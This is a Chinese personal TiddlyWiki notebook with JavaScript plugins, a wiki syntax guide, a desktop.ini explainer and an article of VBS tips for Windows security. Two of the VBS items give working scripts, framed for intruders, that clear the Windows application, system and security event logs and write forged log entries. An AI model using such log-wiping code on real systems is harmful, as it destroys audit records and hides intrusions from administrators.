''Back To --><-- [[Home Page|http:\\charismapc.googlepages.com]] --><--''
/***
|''Name:''|CryptoFunctionsPlugin|
|''Description:''|Support for cryptographic functions|
***/
//{{{
if(!version.extensions.CryptoFunctionsPlugin) {
version.extensions.CryptoFunctionsPlugin = {installed:true};

//--
//-- Crypto functions and associated conversion routines
//--

// Crypto "namespace"
function Crypto() {}

// Convert a string to an array of big-endian 32-bit words
Crypto.strToBe32s = function(str)
{
	var be = Array();
	var len = Math.floor(str.length/4);
	var i, j;
	for(i=0, j=0; i<len; i++, j+=4) {
		be[i] = ((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
	}
	while (j<str.length) {
		be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
		j++;
	}
	return be;
};

// Convert an array of big-endian 32-bit words to a string
Crypto.be32sToStr = function(be)
{
	var str = "";
	for(var i=0;i<be.length*32;i+=8)
		str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
	return str;
};

// Convert an array of big-endian 32-bit words to a hex string
Crypto.be32sToHex = function(be)
{
	var hex = "0123456789ABCDEF";
	var str = "";
	for(var i=0;i<be.length*4;i++)
		str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
	return str;
};

// Return, in hex, the SHA-1 hash of a string
Crypto.hexSha1Str = function(str)
{
	return Crypto.be32sToHex(Crypto.sha1Str(str));
};

// Return the SHA-1 hash of a string
Crypto.sha1Str = function(str)
{
	return Crypto.sha1(Crypto.strToBe32s(str),str.length);
};

// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
Crypto.sha1 = function(x,blen)
{
	// Add 32-bit integers, wrapping at 32 bits
	add32 = function(a,b)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF);
		var msw = (a>>16)+(b>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Add five 32-bit integers, wrapping at 32 bits
	add32x5 = function(a,b,c,d,e)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
		var msw = (a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Bitwise rotate left a 32-bit integer by 1 bit
	rol32 = function(n)
	{
		return (n>>>31)|(n<<1);
	};

	var len = blen*8;
	// Append padding so length in bits is 448 mod 512
	x[len>>5] |= 0x80 << (24-len%32);
	// Append length
	x[((len+64>>9)<<4)+15] = len;
	var w = Array(80);

	var k1 = 0x5A827999;
	var k2 = 0x6ED9EBA1;
	var k3 = 0x8F1BBCDC;
	var k4 = 0xCA62C1D6;

	var h0 = 0x67452301;
	var h1 = 0xEFCDAB89;
	var h2 = 0x98BADCFE;
	var h3 = 0x10325476;
	var h4 = 0xC3D2E1F0;

	for(var i=0;i<x.length;i+=16) {
		var j,t;
		var a = h0;
		var b = h1;
		var c = h2;
		var d = h3;
		var e = h4;
		for(j = 0;j<16;j++) {
			w[j] = x[i+j];
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=16;j<20;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=20;j<40;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k2);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=40;j<60;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),(b&c)|(d&(b|c)),w[j],k3);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=60;j<80;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k4);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}

		h0 = add32(h0,a);
		h1 = add32(h1,b);
		h2 = add32(h2,c);
		h3 = add32(h3,d);
		h4 = add32(h4,e);
	}
	return Array(h0,h1,h2,h3,h4);
};


}
//}}}
[[Note->笔记本]]
/***
|''Name:''|DeprecatedFunctionsPlugin|
|''Description:''|Support for deprecated functions removed from core|
***/
//{{{
if(!version.extensions.DeprecatedFunctionsPlugin) {
version.extensions.DeprecatedFunctionsPlugin = {installed:true};

//--
//-- Deprecated code
//--

// @Deprecated: Use createElementAndWikify and this.termRegExp instead
config.formatterHelpers.charFormatHelper = function(w)
{
	w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
};

// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
config.formatterHelpers.monospacedByLineHelper = function(w)
{
	var lookaheadRegExp = new RegExp(this.lookahead,"mg");
	lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var text = lookaheadMatch[1];
		if(config.browser.isIE)
			text = text.replace(/\n/g,"\r");
		createTiddlyElement(w.output,"pre",null,null,text);
		w.nextMatch = lookaheadRegExp.lastIndex;
	}
};

// @Deprecated: Use <br> or <br /> instead of <<br>>
config.macros.br = {};
config.macros.br.handler = function(place)
{
	createTiddlyElement(place,"br");
};

// Find an entry in an array. Returns the array index or null
// @Deprecated: Use indexOf instead
Array.prototype.find = function(item)
{
	var i = this.indexOf(item);
	return i == -1 ? null : i;
};

// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
// @Deprecated: Use store.getLoader().internalizeTiddler instead
Tiddler.prototype.loadFromDiv = function(divRef,title)
{
	return store.getLoader().internalizeTiddler(store,this,title,divRef);
};

// Format the text for storage in an HTML DIV
// @Deprecated Use store.getSaver().externalizeTiddler instead.
Tiddler.prototype.saveToDiv = function()
{
	return store.getSaver().externalizeTiddler(store,this);
};

// @Deprecated: Use store.allTiddlersAsHtml() instead
function allTiddlersAsHtml()
{
	return store.allTiddlersAsHtml();
}

// @Deprecated: Use refreshPageTemplate instead
function applyPageTemplate(title)
{
	refreshPageTemplate(title);
}

// @Deprecated: Use story.displayTiddlers instead
function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
{
	story.displayTiddlers(srcElement,titles,template,animate);
}

// @Deprecated: Use story.displayTiddler instead
function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
{
	story.displayTiddler(srcElement,title,template,animate);
}

// @Deprecated: Use functions on right hand side directly instead
var createTiddlerPopup = Popup.create;
var scrollToTiddlerPopup = Popup.show;
var hideTiddlerPopup = Popup.remove;

// @Deprecated: Use right hand side directly instead
var regexpBackSlashEn = new RegExp("\\\\n","mg");
var regexpBackSlash = new RegExp("\\\\","mg");
var regexpBackSlashEss = new RegExp("\\\\s","mg");
var regexpNewLine = new RegExp("\n","mg");
var regexpCarriageReturn = new RegExp("\r","mg");

}
//}}}
{{{
Desktop.ini文件详解


desktop.ini、文件夹图标、文件夹背景、隐藏文件、病毒
由于有部分病毒会在文件夹下创建desktop.ini文件,目前很多朋友对该文件产生了错误的认识,认为是病毒文件。其实这是错误的,

desktop.ini与病毒并没有多深的渊源,desktop.ini是系统可识别的一个文件,作用是存储用户对文件夹的个性设置;而病毒所创建的

desktop.ini则不同(这麽说也并不完全正确,见后文。),病毒所创建的文件内容依病毒的不同而异,可以是感染日期或其它的有意无意字符

(串)。
下面介绍desktop.ini的用处:

一、文件夹图标

     [.ShellClassInfo]
     InfoTip=注释
     IconFile=图标文件的路径
     IconIndex=选择要使用文件中的第几个图标

     自定义图标文件,其扩展名可以是.exe、.dll、.ico等。


二、文件夹背景

     [ExtShellFolderViews]
     []
     IconArea_Image=背景图片的路径(如C:\Documents and Settings\All Users\Documents\My Pictures\示例图片\Blue hills.jpg,图片

最好是JPG或BMP格式的)

三、标示特殊文件夹

     系统中有一些特殊的文件夹,如回收站、我的电脑、我的文档、网上邻居等。这些文件夹的标示有两种方法:
     1.直接在文件夹名后续上一个"."在加对应的CLSID
     如:把一个文件夹取名为:新建文件夹.
     那么这个文件夹的图标将变为我的电脑的图标,并且在双击该文件夹时将打开我的电脑。
现将系统中的一些类似的特殊文件夹的CLSID提供给大家:
      我的电脑.
      回收站.
      拨号网络.
      控制面板.
      打印机.
      网上邻居.
      计划任务.
      我的文档.
      URL历史.
     2.第二种是通过一个desktop.ini文件
      还以我的电脑为例:
      新建一个文件夹,名字随便,然后在其下边建立desktop.ini文件,内容如下:
       [.ShellClassInfo]
       CLSID=
      注:有部分病毒会建立这样的文件夹以达到隐藏自身的目的.另外这也是一种我们隐藏小秘密的方法.

四、标示文件夹所有者
     这通常见于我的文档等如我的文档里就有这样一个文件,内容如下:

     [DeleteOnCopy]
     Owner=Administrator
     Personalized=5
     PersonalizedName=My Documents

五、改变文件夹颜色

     关于这项功能的实现需要注册一个.dll文件ColorFolder.dll。具体情况本人由于未曾尝试,故不能提供相应内容,以下是本人在网上搜到

的以供参考。

     改变文件夹颜色 
     [.ShellClassInfo]
     IconFile=ColorFolder.dll
     IconIndex=0

保存为deskto.ini文件,连同ColorFolder.dll文件(Mikebox网盘里有下载)

如果想同时添加背景图片及改变文件夹内文件名颜色!

     [ExtShellFolderViews]
     =
     []
     IconArea_Text=0x000000FF
     Attributes=1
     IconArea_Image=bg04.jpg
     [.ShellClassInfo]
     ConfirmFileOp=0

把名字为bg04.jpg的图片也放到同一个文件夹里,再在原有代码下再加上以上这些就可以改变文件夹的背景图片了!更换bg04.jpg图片,并修

改红色位置的名称(bg04.jpg)为更换后的图片名,就可以设置成为你喜欢的背景图片(建议选用jpg格式的)!修改0x000000FF就可以变文件

颜色为你想要的颜色!0x000000FF为红色,0x00008000为绿色,0x00FF0000为蓝色,0x00FFFFFF为白色!(改变颜色也要有动态链接库文件的

支持)


实例下载请登陆http://www.mikebox.com/,输入提取码:6fd177009b8b4d66955aa190eccea968提取事例!
注册动态链接库:请在开始〉〉〉运行中输入:"regsvr32 ColorFolder.dll"(不包括引号,regsvr32和ColorFolder.dll之间有空格!)注册

动态链接库到系统即可!

#_#_#_#_##_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_
#_#_#_#_______________#_#_#_____#_#_#_#_#_#__________#_#_____##_#
好了,desktop.ini的用处都知道了,现在谈谈病毒的问题,
根据本人的经验,病毒所创建的desktop.ini的内容为日期或一个字符,至于其是否具有意义本人上说不清,但可以肯定的是该文件并非可执行的程序,其存在不会造成甚麽危害。另外,威金病毒会建立一些_desktop.ini文件,删除时可以依如下进行:

在命令行执行:
del X:\_desktop.ini /f/q/s/a:h   (X:是盘符,如C:)
   相关参数如下:
/P 删除每一个文件之前提示确认。
/F 强制删除只读文件。
/S 从所有子目录删除指定文件。
/Q 安静模式。删除全局通配符时,不要求确认。
/A 根据属性选择要删除的文件。
attributes R 只读文件 S 系统文件
                  H 隐藏文件 A 存档文件
- 表示“否”的前缀

如果命令扩展名被启用,DEL会如下改变:

/S 开关的显示句法会颠倒,即只显示已经删除的文件,而不显示找不到的文件  

#_#_#_#_##_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_#_
#_#_#_#_______________#_#_#_____#_#_#_#_#_#__________#_#_____##_#





一些常见疑问:

1:管理工具文件夹里面的desktop.ini中[LocalizedFileNames]这个什么意思? 
答:[LocalizedFileNames]是“局限性文件名称”也就是控制文件的标识。 
2:一个desktop.ini里面 
[.shellclassinfo] 
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21762 
这个起什么作用? 
前面LocalizedResourceName这个又是起什么作用? 
后面-21762这个又是起什么作用?根据什么原理? 
答:LocalizedResourceName是“局限性资源名称”后面的是名称引用的地址,注意SHELL32.DLL动态链接库中记录了很多这类的信息,还包括图标ICO的地址,最后的-21762是一个ID,也可以理解成INDEX索引。 
3:一个desktop.ini里面 
InfoTip是指向文件夹时的说明, 
但是infotip=@Shell32.dll,-12690这个什么意思 
答:参考第二个问题就不难理解了,infotip是“信息提示”后边连接还是SHELL32.DLL。后面的-12690也是一个索引编号。 
4:一个desktop.ini里面 
IconFile是指图标的文件夹路径 
IconFile=%SystemRoot%\system32\SHELL32.dll 
ICONINDEX=-238是指图表文件名, 
但是-238是哪个图标,这些图标放在哪个文件夹, 
怎么可以清楚的看到这些图标的列表, 
以及外面引用的数字代表的是哪个图标,比如说-238是代表哪个图标。 
答:继续参考前两个问题的答案,ICONFILE是“ICO图标文件”,后面的我不再多解释了。至于如何找到这个图标,可以通过任意一个快捷方式的属性中的选择图标选项中查找图片,然后再对照索引来定位所指定的图片。 
5:一个desktop.ini里面 
[DeleteOnCopy] 
Owner=Jed 
Personalized=14 
PersonalizedName=My Videos 
这些什么意思? 
答:这应该是“我的文档”中“我的视频”文件夹中的desktop.ini。“Owner=Jed”的意思是当前文件夹是属于“Jed”这个用户的,“Personalized=14”的意思是私人使用的私有化属性,14是什么意思没弄明白,“PersonalizedName=My Videos”的意思是此私有文档名称为“My Videos”。 
6:一个desktop.ini里面,开头 
; ==++== 
; 
; Copyright (c) Microsoft Corporation. All rights reserved. 
; 
; ==--== 
这些是什么意思? 
是不是跟HTML代码的<!-- -->中注释的功能一样呢? 
如果是,那具体的格式是什么? 
答:这个很简单,是指此段代码的所有权为“Microsoft”。这个很多地方都能看到,比如很多网站下面会写明“Copyright (c) 某某公司 Corporation. All rights reserved.”意思就是所有权归属。 
7:一个desktop.ini里面 
[.ShellClassInfo] 
CLSID= 
ConfirmFileOp=1 
InfoTip=Contains application stability information. 
这个什么意思? 
答:这应该是受系统保护的文件夹中的desktop.ini,是用来指明ShellClass信息的,“CLSID=”是指class的ID在注册表中的地址是“1D2680C9-0E2A-469d-B787-065558BC7D43”,“InfoTip=Contains application stability information”为信息提示。请参考第3个问题的答案。 
8:xp字体文件夹(c:\windows\fonts\)中的desktop.ini 
[.ShellClassInfo] 
UICLSID= 
这个什么意思? 
答:参考第7个问题不难理解,“UICLSID=”的意思是字体样式的ID在注册表中的地址为“BD84B380-8CA2-1069-AB1D-08000948F534”。 
9:xp中C:\Documents and Settings\Default User\SendTo\desktop.ini中的 
[LocalizedFileNames] 
邮件接收者.MAPIMail=@sendmail.dll,-4 
桌面快捷方式.DeskLink=@sendmail.dll,-21 
什么意思? 
答:“LocalizedFileNames”的意思就不说了,前面有。后面的问题直接按英文意思解释就可以了,一个是“邮件接收者”一个是“桌面快捷方式”,分别使用的动态链接库都是“sendmail.dll”只是ID不同,一个是4、一个是21。 
10:一个desktop.ini 
----------------------------------- 
[.shellclassinfo] 
iconindex=mainicon 
iconfile=d:\千千静听\\ttplayer.exe 
----------------------------------- 
中的mainicon改成1或者2的话,外面文件夹的图标会改变, 
但是iconfile=*.*是支持什么格式的图标呢?我只知道exe程序图标是支持的,ico格式应该也能支持, 
试了BMP。JPG之类的都是不支持的。 
答:“iconindex=mainicon ”的意思是ICO图标索引为主图片,也就是默认图标。“iconfile=d:\千千静听\\ttplayer.exe ”说明图标文件的位置是“d:\千千静听\\ttplayer.exe ”,这里要解释一下,一般EXE文件中都包含ICO图标文件,还有就是WINDOWS的图标不支持BMP、JPG、GIF等图片格式,如果想使用的话可以用ICO文件转换工具进行转换,另外在编程软件中都会提供此类转换功能。 
11:ConfirmFileOp=0这句什么意思? 
答:确认文件选项为0,至于0代表什么设置个人估计是默认设置,不行你换成1看看有什么变化。
}}}
To get started with this blank TiddlyWiki, you'll need to modify the following tiddlers:
* SiteTitle & SiteSubtitle: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* MainMenu: The menu (usually on the left)
* DefaultTiddlers: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
想看看实际上语法如何运用,''请按右上角的「edit」鈕''。鼠标在本条目上时自动出现。

!文字格式
*''粗体'':左右各两个单引号「'」
*//斜体//:左右各两个斜号「/」
*__加底线__:左右各两个底线「_」
*==删除的文字==:左右各两个等号「=」
*^^上标字^^:左右各两个「^」
*~~下标字~~:左右各两个波浪号「~」
*字体@@color(green):颜色@@:左右各两个小老鼠「@」,並且在前两个@之后緊接著「''color(颜色名):''」的语法。
*字体@@bgcolor(#FFCC99):背景颜色@@:左右各两个小老鼠「@」,並且在前两个@之后緊接著「''bgcolor(颜色名):''」的语法。

!链接、贴图、水平线
*WikiWord是[[wiki]]最传统建立內部链接(连到别则记事)的方法,也就是在一串字母当中至少要有两个大写字母,这样整个词就自动变成一个链接,即使目标还沒有被建立也行。
*但WikiWord的方式太死板,而且只适用于西方用拉丁字母的情形。东方语文,或是我们想要建立的记事标题包含空格、比较像自然的语句时,可在左右用
{{{
[[链接目标]]
}}}
包起来。
*但我们若想做个链接连到一则叫作「爱与和平?梦想实现」的记事,但行文当中又不想每次都要全部覆述,而是简单用「我的梦想」来指称的话,可以用这样的语法:
{{{
[[我的梦想|爱与和平?梦想实现]]是……
}}}
**也就是说,「|」之前是所显示的文字
**「|」后是链接目标,可以是另外一则记事的名字,也可以是一个外部网址的''绝对位址''或''相对位址'';如果所连到的另一则记事还不存在的话,会先被当成是一个外部链接!
*输入一串网址,也可以被直接转换成超链接,例如http://www.tiddlywiki.com/
*贴图的语法是
{{{
[img[图显示不出来时的替代文字|图片网址或是档案路径]]
}}}
*补充说明
**''绝对位址'':一串完整的网址,通常以{{{http://}}}(网路上的档案)或{{{file:///}}}(本机的档案)开头,小心結尾不要带进不相干的字串!
**''相对位址'':为了省时省力,如果指涉的档案和TiddlyWiki笔记放在同一个资料夹中,则可以直接输入档名即可。
**要连到另一个TiddlyWiki文件中的某一则记事,可在位址或路径的最后加上{{{#目标记事的标题}}}。

----
*{{{----}}}(四个hyphen)放在行首可以插入一条水平线。

!列表、标题、引文
*单行前面用「>」,可使用数个表示层次
>引文第一层
>>引文第二层
>>>引文第三层
>>引文第二层
>引文第一层
若一次有整段引文,可于該段文字前后各加一行「>>>」
>>>
一次有
两三行引文,
但是懶得每行都加上「>」
>>>
*行首用「*」则是无编号的分点列表
**第二级
同一级內可以直接换行
***第三级
>也可以混用引文
>*引文中又可以混用列表

即使换两行了,还在剛剛的列表中。

所以,常常需要换超过一行才能徹底擺脫前一个列表的影響力。这很重要,不然语法之间会''互相干扰''!
#行首的「#」则可以产生编数字的列表
##第二级
##有的wiki系统很强,可以让人们混用「*」和「#」,让无编号列表和有编号列表混合排列
##*不过TiddlyWiki中混用的语法是有規矩的
##*想在第二级的编号(##)中加入无编号列表,「##*」是沒有用的。
***要连用「***」才会产生第三级的无编号列表

!表格
要建立表格很容易。
|一个格子|
最基本是用两根「管线」(|)夹起来的。
{{{
|只用一格后面标c→表格标题|c
||!←不输入则留空|!加!为标题|
|!加!为标题|一般的格子|預设靠左|
| 左空格靠右|右空格靠左 | 两边都空置中 |
|只填「~」可做垂直延伸上一格|>|只填「>」可水平延伸右一格|
|~|>|bgcolor(red):「bgcolor(颜色名):」可加底色|
}}}
产生出
|只用一格后面标c→表格标题|c
||!←不输入则留空|!加!为标题|
|!加!为标题|一般的格子|預设靠左|
| 左空格靠右|右空格靠左 | 两边都空置中 |
|只填「~」可做垂直延伸上一格|>|只填「>」可水平延伸右一格|
|~|>|bgcolor(red):「bgcolor(颜色名):」可加底色|
*只要记得换行
|表格|也可以|用在|!列表当中!|
>|!引文|当中则不用换行|


~~嫌我啰嗦的话可看[[这里|http://www.tiddlywiki.com/#HtmlTables]]~~

!宏
*插入现在日期及时间:
{{{
<<today>>
}}}
如:<<today>>
*插入一个可以滑出和隐藏的窗格(slider)
{{{
<<slider chkSlider随便取 插入记事的标题 显示的文字 "鼠标移上去时的提示文句">>
}}}
如:<<slider chkSliderSiteTitle SiteTitle 本文件的主标题 "滑出这则记事的內容">>
*插入别则记事的內容
{{{
<<tiddler 别的记事的标题>>
}}}
如:本文件的副标题是:<<tiddler SiteSubtitle>>
*可切换的分页,每个分页里面可以放不同的记事
{{{
<<tabs 给这个分页组取个名字
显示的文字1 "鼠标提示1" 记事1
显示的文字2 "鼠标提示2" 记事2
...
>>
}}}
如:<<tabs 初始设定
左侧菜单 "左侧菜单的內容" MainMenu
「首页」 "一开始会显示的记事是这些" DefaultTiddlers
>>
/***
|''Name:''|LegacyStrikeThroughPlugin|
|''Description:''|Support for legacy (pre 2.1) strike through formatting|
|''Version:''|1.0.2|
|''Date:''|Jul 21, 2006|
|''Source:''|http://www.tiddlywiki.com/#LegacyStrikeThroughPlugin|
|''Author:''|MartinBudden (mjbudden (at) gmail (dot) com)|
|''License:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.0|
***/

//{{{
// Ensure that the LegacyStrikeThrough Plugin is only installed once.
if(!version.extensions.LegacyStrikeThroughPlugin) {
version.extensions.LegacyStrikeThroughPlugin = {installed:true};

config.formatters.push(
{
	name: "legacyStrikeByChar",
	match: "==",
	termRegExp: /(==)/mg,
	element: "strike",
	handler: config.formatterHelpers.createElementAndWikify
});

} //# end of "install only once"
//}}}
**[[VB代码|VBCode]]
**[[病毒相关|Virus]]
**[[WinXP相关|WinXP]]
[[About]]
TiddlyWiki
GettingStarted
[[Grammar->语法]]
[[Note->笔记本]]
Hi,I am Nosmo King.
The Initial Letter of My Chinese Name is PC.
[[分类的说|Library]]
<<tabs 分类的说
我的资料室 "各种资料" Library
关于 "本页相关说明" About 
>>
a reusable non-linear personal web notebook(一个可重用的非线形个人网站的笔记本)
PCNK' TiddlyWiki
/***
|''Name:''|SparklinePlugin|
|''Description:''|Sparklines macro|
***/
//{{{
if(!version.extensions.SparklinePlugin) {
version.extensions.SparklinePlugin = {installed:true};

//--
//-- Sparklines
//--

config.macros.sparkline = {};
config.macros.sparkline.handler = function(place,macroName,params)
{
	var data = [];
	var min = 0;
	var max = 0;
	var v;
	for(var t=0; t<params.length; t++) {
		v = parseInt(params[t]);
		if(v < min)
			min = v;
		if(v > max)
			max = v;
		data.push(v);
	}
	if(data.length < 1)
		return;
	var box = createTiddlyElement(place,"span",null,"sparkline",String.fromCharCode(160));
	box.title = data.join(",");
	var w = box.offsetWidth;
	var h = box.offsetHeight;
	box.style.paddingRight = (data.length * 2 - w) + "px";
	box.style.position = "relative";
	for(var d=0; d<data.length; d++) {
		var tick = document.createElement("img");
		tick.border = 0;
		tick.className = "sparktick";
		tick.style.position = "absolute";
		tick.src = "data:image/gif,GIF89a%01%00%01%00%91%FF%00%FF%FF%FF%00%00%00%C0%C0%C0%00%00%00!%F9%04%01%00%00%02%00%2C%00%00%00%00%01%00%01%00%40%02%02T%01%00%3B";
		tick.style.left = d*2 + "px";
		tick.style.width = "2px";
		v = Math.floor(((data[d] - min)/(max-min)) * h);
		tick.style.top = (h-v) + "px";
		tick.style.height = v + "px";
		box.appendChild(tick);
	}
};


}
//}}}
TiddlyWiki 是个单文件的Wiki,用Javascript写成的,实在是令人惊喜啊!

Tiddlywiki的主页在:http://www.tiddlywiki.com/ ,可以在它[[主页上下载|http://www.tiddlywiki.com/#DownloadSoftware]]。也可以通过右键另存为右边的[[link to empty.html |http://charismapc.googlepages.com/empty.htm]]实际上,它所有的文件都在一个HTML里面。但你不能直接把本页存下来,这样通常会出现错误。还是要到主页上去下载才行。

TiddlyWiki采用Javascript技术,并不能直接操作服务器上的文件,在服务器上也不能再进行修改,必须在本机上编辑完成之后上传。

编辑使用也很简单,一般点击一个条目就可以打开它,同时可以设置关闭其他的条目。双击条目标题就可以编辑它,或者在条目标题的右侧会有一些菜单功能可以点击。

WikiWord和其他Wiki一致,包括驼峰字(一个英文词中有两个大写字母)和双方括号括起来的方式,第2种方式用于中文。

具体语法,可参考左侧菜单中的[[语法]]一项。
@@bgcolor(yellow):[[资料室|Library]]@@
----
#[[2007圣诞节的礼物->桌面下雪]]
#[[最小化到托盘]]
#[[系统托盘汽泡提示]]
#[[获得各种路径]]
#[[右下角消息框1]]
#[[右下角消息框2]]
#[[让VB自动改变控件大小的讨论]]
#[[读写INI文件的模块]]
#[[API函数访问注册表]]
#[[Winsock控件]]
#[[VBS应用1]]
#[[VBS应用2]]
----
''@@color(green):bgcolor(#FFCC99):申明:部分代码都来自网络,感谢各位作者,我学到很多,仅在此把这些资料整理在一起,供有心之人有物可用,thanks。@@''
{{{
VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。 

  用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。 

  一、给注册表编辑器解锁 

  用记事本编辑如下内容: 

DIM WSH 
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") ’击活WScript.Shell对象 
WSH.POPUP("解锁注册表编辑器!") 
’显示弹出信息“解锁注册表编辑器!” 
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion 
\Policies\System\DisableRegistryTools",0,"REG_DWORD" 
’给注册表编辑器解锁 
WSH.POPUP("注册表解锁成功!") 
’显示弹出信息“注册表解锁成功!” 
保存为以.vbs为扩展名的文件,使用时双击即可。 

  二、关闭Win NT/2000的默认共享 

  用记事本编辑如下内容:  

Dim WSHShell’定义变量 
set WSHShell=CreateObject("WScript.shell") ’创建一个能与操作系统沟通的对象WSHShell 
Dim fso,dc 
Set fso=CreateObject("Scripting.FileSystemObject")’创建文件系统对象  
set dc=fso.Drives ’获取所有驱动器盘符 
For Each d in dc  
Dim str  
WSHShell.run("net share"&d.driveletter &"$ /delete")’关闭所有驱动器的隐藏共享 
next  
WSHShell.run("net share admin$ /delete") 
WSHShell.run("net share ipc$ /delete")’关闭admin$和ipc$管道共享 

  现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了 

  三、显示本机IP地址 

  有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容: 

Dim WS 
Set WS=CreateObject("MSWinsock.Winsock") 
IPAddress=WS.LocalIP 
MsgBox "Local IP=" & IPAddress 

  将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。 

  四、利用脚本编程删除日志 

  入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下: 

strComputer= "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate,(Backup)}!\\" & _ 
strComputer & "\root\cimv2") 
dim mylogs(3) 
mylogs(1)="application" 
mylogs(2)="system" 
mylogs(3)="security" 
for Each logs in mylogs 
Set colLogFiles=objWMIService.ExecQuery _ 
("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’") 
For Each objLogfile in colLogFiles  
objLogFile.ClearEventLog()  
Next 
next 

  将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。 

  五、利用脚本伪造日志 

  删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码: 

set ws=wscript.createobject("Wscript.shell") 
ws.logevent 0 ,"write log success" ’创建一个成功执行日志 

  将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。 

  六、禁用开始菜单选项 

  用记事本编辑如下内容: 

Dim ChangeStartMenu  
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")  
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"  
Type_Name="REG_DWORD"  
Key_Data=1  
   
StartMenu_Run="NoRun"  
StartMenu_Find="NoFind"  
StartMenu_Close="NoClose"  
   
Sub Change(Argument)  
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name  
MsgBox("Success!")  
End Sub  
   
Call Change(StartMenu_Run) ’禁用“开始”菜单中的“运行”功能  
